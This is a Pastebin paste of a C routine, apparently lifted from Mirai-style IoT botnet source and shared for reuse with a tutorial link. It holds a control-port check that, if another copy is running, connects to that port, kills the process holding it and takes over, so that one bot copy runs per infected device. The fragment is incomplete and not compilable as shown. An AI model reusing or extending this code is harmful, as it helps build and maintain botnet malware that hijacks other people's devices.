Advertisement
KhaosBringer

ensure_single_instance For Maria (No Dupes)

Jan 12th, 2019
1,129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.06 KB | None | 0 0
  1. #NOT MY CODE
  2. # Video Tutorial Can Be Seen Here: https://www.youtube.com/watch?v=Iv8vQDFJp4E
  3.  
  4. #define SINGLE_INSTANCE_PORT 38273
  5.  
  6. static void ensure_single_instance(void);
  7.  
  8. ensure_single_instance();
  9.  
  10. static void ensure_single_instance(void)
  11. {
  12.     static BOOL local_bind = TRUE;
  13.     struct sockaddr_in addr;
  14.     int opt = 1;
  15.  
  16.     if ((fd_ctrl = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  17.         return;
  18.     setsockopt(fd_ctrl, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (int));
  19.     fcntl(fd_ctrl, F_SETFL, O_NONBLOCK | fcntl(fd_ctrl, F_GETFL, 0));
  20.  
  21.     addr.sin_family = AF_INET;
  22.     addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR;
  23.     addr.sin_port = htons(SINGLE_INSTANCE_PORT);
  24.  
  25.     // Try to bind to the control port
  26.     errno = 0;
  27.     if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
  28.     {
  29.         if (errno == EADDRNOTAVAIL && local_bind)
  30.             local_bind = FALSE;
  31. #ifdef DEBUG
  32.         printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno);
  33. #endif
  34.  
  35.         // Reset addr just in case
  36.         addr.sin_family = AF_INET;
  37.         addr.sin_addr.s_addr = INADDR_ANY;
  38.         addr.sin_port = htons(SINGLE_INSTANCE_PORT);
  39.  
  40.         if (connect(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
  41.         {
  42. #ifdef DEBUG
  43.             printf("[main] Failed to connect to fd_ctrl to request process termination\n");
  44. #endif
  45.         }
  46.        
  47.         sleep(5);
  48.         close(fd_ctrl);
  49.         killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
  50.         ensure_single_instance(); // Call again, so that we are now the control
  51.     }
  52.     else
  53.     {
  54.         if (listen(fd_ctrl, 1) == -1)
  55.         {
  56. #ifdef DEBUG
  57.             printf("[main] Failed to call listen() on fd_ctrl\n");
  58.             close(fd_ctrl);
  59.             sleep(5);
  60.             killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
  61.             ensure_single_instance();
  62. #endif
  63.         }
  64. #ifdef DEBUG
  65.         printf("[main] We are the only process on this system!\n");
  66. #endif
  67.     }
  68. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement